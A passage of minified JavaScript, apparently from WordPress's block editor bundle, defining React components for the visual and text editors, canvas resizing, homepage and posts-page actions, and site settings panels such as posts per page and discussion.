editor")})]}),(0,L.jsxs)("div",{className:"editor-text-editor__body",children:[(0,L.jsx)(Ch,{ref:n}),(0,L.jsx)(bh,{})]})]})}function sf({contentRef:e}){const{onNavigateToEntityRecord:t,templateId:s}=(0,c.useSelect)((e=>{const{getEditorSettings:t,getCurrentTemplateId:s}=e(Ac);return{onNavigateToEntityRecord:t().onNavigateToEntityRecord,templateId:s()}}),[]),o=(0,c.useSelect)((e=>!!e(d.store).canUser("create",{kind:"postType",name:"wp_template"})),[]),[n,i]=(0,u.useState)(!1);return(0,u.useEffect)((()=>{const t=e=>{o&&e.target.classList.contains("is-root-container")&&"core/template-part"!==e.target.dataset?.type&&(e.defaultPrevented||(e.preventDefault(),i(!0)))},s=e.current;return s?.addEventListener("dblclick",t),()=>{s?.removeEventListener("dblclick",t)}}),[e,o]),o?(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:n,confirmButtonText:(0,fs.__)("Edit template"),onConfirm:()=>{i(!1),t({postId:s,postType:"wp_template"})},onCancel:()=>i(!1),size:"medium",children:(0,fs.__)("You’ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?")}):null}function of({direction:e,resizeWidthBy:t}){const s=`resizable-editor__resize-help-${e}`;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Tooltip,{text:(0,fs.__)("Drag to resize"),children:(0,L.jsx)(Uo.__unstableMotion.button,{className:`editor-resizable-editor__resize-handle is-${e}`,"aria-label":(0,fs.__)("Drag to resize"),"aria-describedby":s,onKeyDown:function(s){const{keyCode:o}=s;o!==wl.LEFT&&o!==wl.RIGHT||(s.preventDefault(),"left"===e&&o===wl.LEFT||"right"===e&&o===wl.RIGHT?t(20):("left"===e&&o===wl.RIGHT||"right"===e&&o===wl.LEFT)&&t(-20))},variants:{active:{opacity:1,scaleY:1.3}},whileFocus:"active",whileHover:"active",whileTap:"active",role:"separator","aria-orientation":"vertical"},"handle")}),(0,L.jsx)(Uo.VisuallyHidden,{id:s,children:(0,fs.__)("Use left and right arrow keys to resize the canvas.")})]})}const nf={position:void 0,userSelect:void 0,cursor:void 0,width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0};const rf=function({className:e,enableResizing:t,height:s,children:o}){const[n,i]=(0,u.useState)("100%"),r=(0,u.useRef)(),a=(0,u.useCallback)((e=>{r.current&&i(r.current.offsetWidth+e)}),[]);return(0,L.jsx)(Uo.ResizableBox,{className:Di("editor-resizable-editor",e,{"is-resizable":t}),ref:e=>{r.current=e?.resizable},size:{width:t?n:"100%",height:t&&s?s:"100%"},onResizeStop:(e,t,s)=>{i(s.style.width)},minWidth:300,maxWidth:"100%",maxHeight:"100%",enable:{left:t,right:t},showHandle:t,resizeRatio:2,handleComponent:{left:(0,L.jsx)(of,{direction:"left",resizeWidthBy:a}),right:(0,L.jsx)(of,{direction:"right",resizeWidthBy:a})},handleClasses:void 0,handleStyles:{left:nf,right:nf},children:o})};function af(e,t,s){return Math.min(Math.max(e,t),s)}function lf(e,t,s){const o=e-af(e,s.left,s.right),n=t-af(t,s.top,s.bottom);return Math.sqrt(o*o+n*n)}function cf({isEnabled:e=!0}={}){const{getEnabledClientIdsTree:t,getBlockName:s,getBlockOrder:o}=$((0,c.useSelect)(h.store)),{selectBlock:n}=(0,c.useDispatch)(h.store);return(0,p.useRefEffect)((i=>{if(!e)return;const r=e=>{(e.target===i||e.target.classList.contains("is-root-container"))&&((e,r)=>{const a=t().flatMap((({clientId:e})=>{const t=s(e);if("core/template-part"===t)return[];if("core/post-content"===t){const t=o(e);if(t.length)return t}return[e]}));let l=1/0,c=null;for(const t of a){const s=i.querySelector(`[data-block="${t}"]`);if(!s)continue;const o=lf(e,r,s.getBoundingClientRect());o<l&&o<500&&(l=o,c=t)}c&&n(c)})(e.clientX,e.clientY)};return i.addEventListener("click",r),()=>i.removeEventListener("click",r)}),[e])}function df(){const{getSettings:e,isZoomOut:t}=$((0,c.useSelect)(h.store)),{resetZoomLevel:s}=$((0,c.useDispatch)(h.store));return(0,p.useRefEffect)((o=>{function n(o){if(t()&&!o.defaultPrevented){o.preventDefault();const{__experimentalSetIsInserterOpened:t}=e();"function"==typeof t&&t(!1),s()}}return o.addEventListener("dblclick",n),()=>{o.removeEventListener("dblclick",n)}}),[e,t,s])}const{LayoutStyle:uf,useLayoutClasses:pf,useLayoutStyles:mf,ExperimentalBlockCanvas:hf,useFlashEditableBlocks:gf}=$(h.privateApis),_f=[I,T,N,B];function ff(e){for(let t=0;t<e.length;t++){if("core/post-content"===e[t].name)return e[t].attributes;if(e[t].innerBlocks.length){const s=ff(e[t].innerBlocks);if(s)return s}}}function bf(e){for(let t=0;t<e.length;t++)if("core/post-content"===e[t].name)return!0;return!1}const yf=function({autoFocus:e,styles:t,disableIframe:s=!1,iframeProps:o,contentRef:n,className:i}){const[r,a]=(0,u.useState)(""),l=(0,p.useResizeObserver)((([e])=>{a(e.borderBoxSize[0].blockSize)})),m=(0,p.useViewportMatch)("small","<"),{renderingMode:g,postContentAttributes:_,editedPostTemplate:f={},wrapperBlockName:b,wrapperUniqueId:x,deviceType:v,isFocusedEntity:S,isDesignPostType:w,postType:k,isPreview:C}=(0,c.useSelect)((e=>{const{getCurrentPostId:t,getCurrentPostType:s,getCurrentTemplateId:o,getEditorSettings:n,getRenderingMode:i,getDeviceType:r}=e(Ac),{getPostType:a,getEditedEntityRecord:l}=e(d.store),c=s(),u=i();let p;c===I?p="core/block":"post-only"===u&&(p="core/post-content");const m=n(),h=m.supportsTemplateMode,g=a(c),_=o(),f=_?l("postType",T,_):void 0;return{renderingMode:u,postContentAttributes:m.postContentAttributes,isDesignPostType:_f.includes(c),editedPostTemplate:g?.viewable&&h?f:void 0,wrapperBlockName:p,wrapperUniqueId:t(),deviceType:r(),isFocusedEntity:!!m.onNavigateToPreviousEntityRecord,postType:c,isPreview:m.isPreviewMode}}),[]),{isCleanNewPost:P}=(0,c.useSelect)(Ac),{hasRootPaddingAwareAlignments:j,themeHasDisabledLayoutStyles:E,themeSupportsLayout:D,isZoomedOut:A}=(0,c.useSelect)((e=>{const{getSettings:t,isZoomOut:s}=$(e(h.store)),o=t();return{themeHasDisabledLayoutStyles:o.disableLayoutStyles,themeSupportsLayout:o.supportsLayout,hasRootPaddingAwareAlignments:o.__experimentalFeatures?.useRootPaddingAwareAlignments,isZoomedOut:s()}}),[]),R=(0,h.__experimentalUseResizeCanvas)(v),[M]=(0,h.useSettings)("layout"),O=(0,u.useMemo)((()=>"post-only"!==g||w?{type:"default"}:D?{...M,type:"constrained"}:{type:"default"}),[g,D,M,w]),F=(0,u.useMemo)((()=>{if(!f?.content&&!f?.blocks&&_)return _;if(f?.blocks)return ff(f?.blocks);const e="string"==typeof f?.content?f?.content:"";return ff((0,y.parse)(e))||{}}),[f?.content,f?.blocks,_]),V=(0,u.useMemo)((()=>{if(!f?.content&&!f?.blocks)return!1;if(f?.blocks)return bf(f?.blocks);const e="string"==typeof f?.content?f?.content:"";return bf((0,y.parse)(e))||!1}),[f?.content,f?.blocks]),{layout:z={},align:U=""}=F||{},H=pf(F,"core/post-content"),G=Di({"is-layout-flow":!D},D&&H,U&&`align${U}`),W=mf(F,"core/post-content",".block-editor-block-list__layout.is-root-container"),Z=(0,u.useMemo)((()=>z&&("constrained"===z?.type||z?.inherit||z?.contentSize||z?.wideSize)?{...M,...z,type:"constrained"}:{...M,...z,type:"default"}),[z?.type,z?.inherit,z?.contentSize,z?.wideSize,M]),Y=_?Z:O,K="default"!==Y?.type||V?Y:O,q=(0,h.__unstableUseTypingObserver)(),Q=(0,u.useRef)();(0,u.useEffect)((()=>{e&&P()&&Q?.current?.focus()}),[e,P]);const X=k===N,J=[N,B,I].includes(k)&&!C&&!m&&!A,ee=(0,u.useMemo)((()=>[...null!=t?t:[],{css:`:where(.block-editor-iframe__body){display:flow-root;}.is-root-container{display:flow-root;${J?"min-height:0!important;":""}}`}]),[t,J]),te=(0,u.useRef)(),se=(0,h.__unstableUseTypewriter)();return n=(0,p.useMergeRefs)([te,n,"post-only"===g?se:null,gf({isEnabled:"template-locked"===g}),cf({isEnabled:"template-locked"===g}),df(),J?l:null]),(0,L.jsx)("div",{className:Di("editor-visual-editor","edit-post-visual-editor",i,{"has-padding":S||J,"is-resizable":J,"is-iframed":!s}),children:(0,L.jsx)(rf,{enableResizing:J,height:r&&!X?r:"100%",children:(0,L.jsxs)(hf,{shouldIframe:!s,contentRef:n,styles:ee,height:"100%",iframeProps:{...o,style:{...o?.style,...R}},children:[D&&!E&&"post-only"===g&&!w&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(uf,{selector:".editor-visual-editor__post-title-wrapper",layout:O}),(0,L.jsx)(uf,{selector:".block-editor-block-list__layout.is-root-container",layout:K}),U&&(0,L.jsx)(uf,{css:".is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignwide:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}\n\t\t.is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}\n\t\t.is-root-container.alignfull:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: none;}"}),W&&(0,L.jsx)(uf,{layout:Z,css:W})]}),"post-only"===g&&!w&&(0,L.jsx)("div",{className:Di("editor-visual-editor__post-title-wrapper","edit-post-visual-editor__post-title-wrapper",{"has-global-padding":j}),contentEditable:!1,ref:q,style:{marginTop:"4rem"},children:(0,L.jsx)(kh,{ref:Q})}),(0,L.jsxs)(h.RecursionProvider,{blockName:b,uniqueId:x,children:[(0,L.jsx)(h.BlockList,{className:Di("is-"+v.toLowerCase()+"-preview","post-only"!==g||w?"wp-site-blocks":`${G} wp-block-post-content`,{"has-global-padding":"post-only"===g&&!w&&j}),layout:Y,dropZoneElement:s?te.current:te.current?.parentNode,__unstableDisableDropZone:"template-locked"===g}),"template-locked"===g&&(0,L.jsx)(sf,{contentRef:te})]})]})})})},xf={header:(0,fs.__)("Editor top bar"),body:(0,fs.__)("Editor content"),sidebar:(0,fs.__)("Editor settings"),actions:(0,fs.__)("Editor publish"),footer:(0,fs.__)("Editor footer")};function vf({className:e,styles:t,children:s,forceIsDirty:o,contentRef:n,disableIframe:i,autoFocus:r,customSaveButton:a,customSavePanel:l,forceDisableBlockTools:d,title:m,iframeProps:g}){const{mode:_,isRichEditingEnabled:f,isInserterOpened:b,isListViewOpened:y,isDistractionFree:x,isPreviewMode:v,showBlockBreadcrumbs:S,documentLabel:w}=(0,c.useSelect)((e=>{const{get:t}=e(k.store),{getEditorSettings:s,getPostTypeLabel:o}=e(Ac),n=s(),i=o();return{mode:e(Ac).getEditorMode(),isRichEditingEnabled:n.richEditingEnabled,isInserterOpened:e(Ac).isInserterOpened(),isListViewOpened:e(Ac).isListViewOpened(),isDistractionFree:t("core","distractionFree"),isPreviewMode:n.isPreviewMode,showBlockBreadcrumbs:t("core","showBlockBreadcrumbs"),documentLabel:i||(0,fs._x)("Document","noun, breadcrumb")}}),[]),C=(0,p.useViewportMatch)("medium"),P=y?(0,fs.__)("Document Overview"):(0,fs.__)("Block Library"),[j,E]=(0,u.useState)(!1),T=(0,u.useCallback)((e=>{"function"==typeof j&&j(e),E(!1)}),[j]);return(0,L.jsx)(al,{isDistractionFree:x,className:Di("editor-editor-interface",e,{"is-entity-save-view-open":!!j,"is-distraction-free":x&&!v}),labels:{...xf,secondarySidebar:P},header:!v&&(0,L.jsx)(W_,{forceIsDirty:o,setEntitiesSavedStatesCallback:E,customSaveButton:a,forceDisableBlockTools:d,title:m}),editorNotices:(0,L.jsx)(_d,{}),secondarySidebar:!v&&"visual"===_&&(b&&(0,L.jsx)(Y_,{})||y&&(0,L.jsx)(Q_,{})),sidebar:!v&&!x&&(0,L.jsx)(tl.Slot,{scope:"core"}),content:(0,L.jsxs)(L.Fragment,{children:[!x&&!v&&(0,L.jsx)(_d,{}),(0,L.jsx)(qg.Slot,{children:([e])=>e||(0,L.jsxs)(L.Fragment,{children:[!v&&("text"===_||!f)&&(0,L.jsx)(tf,{autoFocus:r}),!v&&!C&&"visual"===_&&(0,L.jsx)(h.BlockToolbar,{hideDragHandle:!0}),(v||f&&"visual"===_)&&(0,L.jsx)(yf,{styles:t,contentRef:n,disableIframe:i,autoFocus:r,iframeProps:g}),s]})})]}),footer:!v&&!x&&C&&S&&f&&"visual"===_&&(0,L.jsx)(h.BlockBreadcrumb,{rootLabelText:w}),actions:v?void 0:l||(0,L.jsx)(ef,{closeEntitiesSavedStates:T,isEntitiesSavedStatesOpen:j,setEntitiesSavedStatesCallback:E,forceIsDirtyPublishPanel:o})})}const{OverridesPanel:Sf}=$(ln.privateApis);function wf(){return(0,c.useSelect)((e=>"wp_block"===e(Ac).getCurrentPostType()),[])?(0,L.jsx)(Sf,{}):null}function kf(e){return"string"==typeof e.title?(0,Lo.decodeEntities)(e.title):e.title&&"rendered"in e.title?(0,Lo.decodeEntities)(e.title.rendered):e.title&&"raw"in e.title?(0,Lo.decodeEntities)(e.title.raw):""}const Cf=({items:e,closeModal:t})=>{const[s]=e,o=kf(s),{showOnFront:n,currentHomePage:i,isSaving:r}=(0,c.useSelect)((e=>{const{getEntityRecord:t,isSavingEntityRecord:s}=e(d.store),o=t("root","site"),n=t("postType","page",o?.page_on_front);return{showOnFront:o?.show_on_front,currentHomePage:n,isSaving:s("root","site")}})),{saveEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:u}=(0,c.useDispatch)(_s.store);let p="";"posts"===n?p=(0,fs.__)("This will replace the current homepage which is set to display latest posts."):i&&(p=(0,fs.sprintf)((0,fs.__)('This will replace the current homepage: "%s"'),kf(i)));const m=(0,fs.sprintf)((0,fs.__)('Set "%1$s" as the site homepage? %2$s'),o,p).trim(),h=(0,fs.__)("Set homepage");return(0,L.jsx)("form",{onSubmit:async function(e){e.preventDefault();try{await a("root","site",{page_on_front:s.id,show_on_front:"page"}),l((0,fs.__)("Homepage updated."),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("An error occurred while setting the homepage.");u(t,{type:"snackbar"})}finally{t?.()}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:m}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{t?.()},disabled:r,accessibleWhenDisabled:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",disabled:r,accessibleWhenDisabled:!0,children:h})]})]})})},Pf=({items:e,closeModal:t})=>{const[s]=e,o=kf(s),{currentPostsPage:n,isPageForPostsSet:i,isSaving:r}=(0,c.useSelect)((e=>{const{getEntityRecord:t,isSavingEntityRecord:s}=e(d.store),o=t("root","site");return{currentPostsPage:t("postType","page",o?.page_for_posts),isPageForPostsSet:0!==o?.page_for_posts,isSaving:s("root","site")}})),{saveEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:u}=(0,c.useDispatch)(_s.store);const p=i&&n?(0,fs.sprintf)((0,fs.__)('This will replace the current posts page: "%s"'),kf(n)):(0,fs.__)("This page will show the latest posts."),m=(0,fs.sprintf)((0,fs.__)('Set "%1$s" as the posts page? %2$s'),o,p),h=(0,fs.__)("Set posts page");return(0,L.jsx)("form",{onSubmit:async function(e){e.preventDefault();try{await a("root","site",{page_for_posts:s.id,show_on_front:"page"}),l((0,fs.__)("Posts page updated."),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("An error occurred while setting the posts page.");u(t,{type:"snackbar"})}finally{t?.()}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.__experimentalText,{children:m}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{t?.()},disabled:r,accessibleWhenDisabled:!0,children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",disabled:r,accessibleWhenDisabled:!0,children:h})]})]})})};function jf({postType:e,onActionPerformed:t,context:s}){const{defaultActions:o}=(0,c.useSelect)((t=>{const{getEntityActions:s}=$(t(Ac));return{defaultActions:s("postType",e)}}),[e]),{canManageOptions:n,hasFrontPageTemplate:i}=(0,c.useSelect)((e=>{const{getEntityRecords:t}=e(d.store),s=t("postType","wp_template",{per_page:-1});return{canManageOptions:e(d.store).canUser("update",{kind:"root",name:"site"}),hasFrontPageTemplate:!!s?.find((e=>"front-page"===e?.slug))}})),r=(()=>{const{pageOnFront:e,pageForPosts:t}=(0,c.useSelect)((e=>{const{getEntityRecord:t,canUser:s}=e(d.store),o=s("read",{kind:"root",name:"site"})?t("root","site"):void 0;return{pageOnFront:o?.page_on_front,pageForPosts:o?.page_for_posts}}));return(0,u.useMemo)((()=>({id:"set-as-homepage",label:(0,fs.__)("Set as homepage"),isEligible:s=>"publish"===s.status&&"page"===s.type&&e!==s.id&&t!==s.id,RenderModal:Cf})),[t,e])})(),a=(()=>{const{pageOnFront:e,pageForPosts:t}=(0,c.useSelect)((e=>{const{getEntityRecord:t,canUser:s}=e(d.store),o=s("read",{kind:"root",name:"site"})?t("root","site"):void 0;return{pageOnFront:o?.page_on_front,pageForPosts:o?.page_for_posts}}));return(0,u.useMemo)((()=>({id:"set-as-posts-page",label:(0,fs.__)("Set as posts page"),isEligible:s=>"publish"===s.status&&"page"===s.type&&e!==s.id&&t!==s.id,RenderModal:Pf})),[t,e])})(),l=n&&!i,{registerPostTypeSchema:p}=$((0,c.useDispatch)(Ac));return(0,u.useEffect)((()=>{p(e)}),[p,e]),(0,u.useMemo)((()=>{let e=[...o];if(l&&e.push(r,a),e=e.sort(((e,t)=>"move-to-trash"===t.id?-1:0)),e=e.filter((e=>!e.context||e.context===s)),t)for(let s=0;s<e.length;++s){if(e[s].callback){const o=e[s].callback;e[s]={...e[s],callback:(n,i)=>{o(n,{...i,onActionPerformed:o=>{i?.onActionPerformed&&i.onActionPerformed(o),t(e[s].id,o)}})}}}if(e[s].RenderModal){const o=e[s].RenderModal;e[s]={...e[s],RenderModal:n=>(0,L.jsx)(o,{...n,onActionPerformed:o=>{n.onActionPerformed&&n.onActionPerformed(o),t(e[s].id,o)}})}}}return e}),[s,o,t,r,a,l])}const{Menu:Ef,kebabCase:Tf}=$(Uo.privateApis);function Bf({postType:e,postId:t,onActionPerformed:s}){const[o,n]=(0,u.useState)(null),{item:i,permissions:r}=(0,c.useSelect)((s=>{const{getEditedEntityRecord:o,getEntityRecordPermissions:n}=$(s(d.store));return{item:o("postType",e,t),permissions:n("postType",e,t)}}),[t,e]),a=(0,u.useMemo)((()=>({...i,permissions:r})),[i,r]),l=jf({postType:e,onActionPerformed:s}),p=(0,u.useMemo)((()=>l.filter((e=>!e.isEligible||e.isEligible(a)))),[l,a]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Ef,{placement:"bottom-end",children:[(0,L.jsx)(Ef.TriggerButton,{render:(0,L.jsx)(Uo.Button,{size:"small",icon:n_,label:(0,fs.__)("Actions"),disabled:!p.length,accessibleWhenDisabled:!0,className:"editor-all-actions-button"})}),(0,L.jsx)(Ef.Popover,{children:(0,L.jsx)(Df,{actions:p,items:[a],setActiveModalAction:n})})]}),!!o&&(0,L.jsx)(Nf,{action:o,items:[a],closeModal:()=>n(null)})]})}function If({action:e,onClick:t,items:s}){const o="string"==typeof e.label?e.label:e.label(s);return(0,L.jsx)(Ef.Item,{onClick:t,children:(0,L.jsx)(Ef.ItemLabel,{children:o})})}function Nf({action:e,items:t,closeModal:s}){const o="string"==typeof e.label?e.label:e.label(t);return(0,L.jsx)(Uo.Modal,{title:e.modalHeader||o,__experimentalHideHeader:!!e.hideModalHeader,onRequestClose:null!=s?s:()=>{},focusOnMount:"firstContentElement",size:"medium",overlayClassName:`editor-action-modal editor-action-modal__${Tf(e.id)}`,children:(0,L.jsx)(e.RenderModal,{items:t,closeModal:s})})}function Df({actions:e,items:t,setActiveModalAction:s}){const o=(0,c.useRegistry)();return(0,L.jsx)(Ef.Group,{children:e.map((e=>(0,L.jsx)(If,{action:e,onClick:()=>{"RenderModal"in e?s(e):e.callback(t,{registry:o})},items:t},e.id)))})}const{Badge:Af}=$(Uo.privateApis);function Rf({postType:e,postId:t,onActionPerformed:s}){const o=(0,u.useMemo)((()=>Array.isArray(t)?t:[t]),[t]),{postTitle:n,icon:i,labels:r}=(0,c.useSelect)((t=>{const{getEditedEntityRecord:s,getCurrentTheme:n,getPostType:i}=t(d.store),{getPostIcon:r}=$(t(Ac));let a="";const l=s("postType",e,o[0]);if(1===o.length){var c;const{default_template_types:t=[]}=null!==(c=n())&&void 0!==c?c:{},s=[T,B].includes(e)?Y({template:l,templateTypes:t}):{};a=s?.title||l?.title}return{postTitle:a,icon:r(e,{area:l?.area}),labels:i(e)?.labels}}),[o,e]),a=qc(t);let l=(0,fs.__)("No title");return r?.name&&o.length>1?l=(0,fs.sprintf)((0,fs.__)("%i %s"),t.length,r?.name):n&&(l=(0,Kc.__unstableStripHTML)(n)),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:1,className:"editor-post-card-panel",children:[(0,L.jsxs)(Uo.__experimentalHStack,{spacing:2,className:"editor-post-card-panel__header",align:"flex-start",children:[(0,L.jsx)(Uo.Icon,{className:"editor-post-card-panel__icon",icon:i}),(0,L.jsxs)(Uo.__experimentalText,{numberOfLines:2,truncate:!0,className:"editor-post-card-panel__title",as:"h2",children:[(0,L.jsx)("span",{className:"editor-post-card-panel__title-name",children:l}),a&&1===o.length&&(0,L.jsx)(Af,{children:a})]}),1===o.length&&(0,L.jsx)(Bf,{postType:e,postId:o[0],onActionPerformed:s})]}),o.length>1&&(0,L.jsx)(Uo.__experimentalText,{className:"editor-post-card-panel__description",children:(0,fs.sprintf)((0,fs.__)("Changes will be applied to all selected %s."),r?.name.toLowerCase())})]})}function Mf(){const{postContent:e}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,getCurrentPostType:s,getCurrentPostId:o}=e(Ac),{canUser:n}=e(d.store),{getEntityRecord:i}=e(d.store),r=n("read",{kind:"root",name:"site"})?i("root","site"):void 0,a=s();return{postContent:!(+o()===r?.page_for_posts)&&![T,B].includes(a)&&t("content")}}),[]),t=(0,fs._x)("words","Word count type. Do not translate!"),s=(0,u.useMemo)((()=>e?(0,Lh.count)(e,t):0),[e,t]);if(!s)return null;const o=Math.round(s/189),n=(0,fs.sprintf)((0,fs._n)("%s word","%s words",s),s.toLocaleString()),i=o<=1?(0,fs.__)("1 minute"):(0,fs.sprintf)((0,fs._n)("%s minute","%s minutes",o),o.toLocaleString());return(0,L.jsx)("div",{className:"editor-post-content-information",children:(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.sprintf)((0,fs.__)("%1$s, %2$s read time."),n,i)})})}const Lf=function(){const{postFormat:e}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac),s=t("format");return{postFormat:null!=s?s:"standard"}}),[]),t=Bp.find((t=>t.id===e)),[s,o]=(0,u.useState)(null),n=(0,u.useMemo)((()=>({anchor:s,placement:"left-start",offset:36,shift:!0})),[s]);return(0,L.jsx)(Tp,{children:(0,L.jsx)(zd,{label:(0,fs.__)("Format"),ref:o,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:n,contentClassName:"editor-post-format__dialog",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=>(0,L.jsx)(Uo.Button,{size:"compact",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change format: %s"),t?.caption),onClick:s,children:t?.caption}),renderContent:({onClose:e})=>(0,L.jsxs)("div",{className:"editor-post-format__dialog-content",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Format"),onClose:e}),(0,L.jsx)(Ip,{})]})})})})};function Of(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostAttribute("modified")),[]),t=e&&(0,fs.sprintf)((0,fs.__)("Last edited %s."),(0,x.humanTimeDiff)(e));return t?(0,L.jsx)("div",{className:"editor-post-last-edited-panel",children:(0,L.jsx)(Uo.__experimentalText,{children:t})}):null}const Ff=function({className:e,children:t}){return(0,L.jsx)(Uo.__experimentalVStack,{className:Di("editor-post-panel__section",e),children:t})},Vf={};function zf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{postsPageTitle:t,postsPageId:s,isTemplate:o,postSlug:n}=(0,c.useSelect)((e=>{const{getEntityRecord:t,getEditedEntityRecord:s,canUser:o}=e(d.store),n=o("read",{kind:"root",name:"site"})?t("root","site"):void 0,i=n?.page_for_posts?s("postType","page",n?.page_for_posts):Vf,{getEditedPostAttribute:r,getCurrentPostType:a}=e(Ac);return{postsPageId:i?.id,postsPageTitle:i?.title,isTemplate:a()===T,postSlug:r("slug")}}),[]),[i,r]=(0,u.useState)(null),a=(0,u.useMemo)((()=>({anchor:i,placement:"left-start",offset:36,shift:!0})),[i]);if(!o||!["home","index"].includes(n)||!s)return null;const l=t=>{e("postType","page",s,{title:t})},m=(0,Lo.decodeEntities)(t);return(0,L.jsx)(zd,{label:(0,fs.__)("Blog title"),ref:r,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:a,contentClassName:"editor-blog-title-dropdown__content",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(Uo.Button,{size:"compact",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change blog title: %s"),m),onClick:t,children:m}),renderContent:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Blog title"),onClose:e}),(0,L.jsx)(Uo.__experimentalInputControl,{placeholder:(0,fs.__)("No title"),size:"__unstable-large",value:t,onChange:(0,p.debounce)(l,300),label:(0,fs.__)("Blog title"),help:(0,fs.__)("Set the Posts Page title. Appears in search results, and when the page is shared on social media."),hideLabelFromVision:!0})]})})})}function Uf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{postsPerPage:t,isTemplate:s,postSlug:o}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(Ac),{getEditedEntityRecord:o,canUser:n}=e(d.store),i=n("read",{kind:"root",name:"site"})?o("root","site"):void 0;return{isTemplate:s()===T,postSlug:t("slug"),postsPerPage:i?.posts_per_page||1}}),[]),[n,i]=(0,u.useState)(null),r=(0,u.useMemo)((()=>({anchor:n,placement:"left-start",offset:36,shift:!0})),[n]);if(!s||!["home","index"].includes(o))return null;const a=t=>{e("root","site",void 0,{posts_per_page:t})};return(0,L.jsx)(zd,{label:(0,fs.__)("Posts per page"),ref:i,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:r,contentClassName:"editor-posts-per-page-dropdown__content",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=>(0,L.jsx)(Uo.Button,{size:"compact",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.__)("Change posts per page"),onClick:s,children:t}),renderContent:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Posts per page"),onClose:e}),(0,L.jsx)(Uo.__experimentalNumberControl,{placeholder:0,value:t,size:"__unstable-large",spinControls:"custom",step:"1",min:"1",onChange:a,label:(0,fs.__)("Posts per page"),help:(0,fs.__)("Set the default number of posts to display on blog pages, including categories and tags. Some templates may override this setting."),hideLabelFromVision:!0})]})})})}const Hf=[{label:(0,fs._x)("Open",'Adjective: e.g. "Comments are open"'),value:"open",description:(0,fs.__)("Visitors can add new comments and replies.")},{label:(0,fs.__)("Closed"),value:"",description:[(0,fs.__)("Visitors cannot add new comments or replies."),(0,fs.__)("Existing comments remain visible.")].join(" ")}];function Gf(){const{editEntityRecord:e}=(0,c.useDispatch)(d.store),{allowCommentsOnNewPosts:t,isTemplate:s,postSlug:o}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t,getCurrentPostType:s}=e(Ac),{getEditedEntityRecord:o,canUser:n}=e(d.store),i=n("read",{kind:"root",name:"site"})?o("root","site"):void 0;return{isTemplate:s()===T,postSlug:t("slug"),allowCommentsOnNewPosts:i?.default_comment_status||""}}),[]),[n,i]=(0,u.useState)(null),r=(0,u.useMemo)((()=>({anchor:n,placement:"left-start",offset:36,shift:!0})),[n]);if(!s||!["home","index"].includes(o))return null;const a=t=>{e("root","site",void 0,{default_comment_status:t?"open":null})};return(0,L.jsx)(zd,{label:(0,fs.__)("Discussion"),ref:i,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:r,contentClassName:"editor-site-discussion-dropdown__content",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:s})=>(0,L.jsx)(Uo.Button,{size:"compact",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.__)("Change discussion settings"),onClick:s,children:t?(0,fs.__)("Comments open"):(0,fs.__)("Comments closed")}),renderContent:({onClose:e})=>(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Discussion"),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:3,children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Changes will apply to new posts only. Individual posts may override these 